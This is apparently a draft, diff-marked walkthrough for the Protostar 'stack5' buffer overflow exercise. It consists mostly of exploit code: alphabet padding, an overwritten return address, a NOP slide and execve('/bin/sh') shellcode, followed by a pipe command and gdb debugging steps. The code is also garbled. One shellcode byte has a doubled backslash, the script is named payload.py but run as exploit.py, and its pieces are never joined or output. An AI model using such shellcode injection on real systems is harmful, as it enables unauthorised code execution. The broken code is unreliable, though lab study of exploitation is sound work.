draft

md

  # Walkthrough:
  
~ shellcode: http://shell-storm.org/shellcode
~ 
~ ```payload.py
~ import struct
~ padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
~ eip=struct.pack("I", 0xbffff7c0+30)
~ nopslide= "\x90"*100 
+ payload = "\x31\\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";
  ```
  
~ (python exploit.py; cat)| /opt/protostar/bin/stack5
+ 
+ (gdb) define hook-stop
+ x/1i $eip
+ x/8wx $esp
+ 
+ (gdb) r < ./alphabet 
+ 
+ Overwritten with TTTTT                                                                                                                                                                                            
+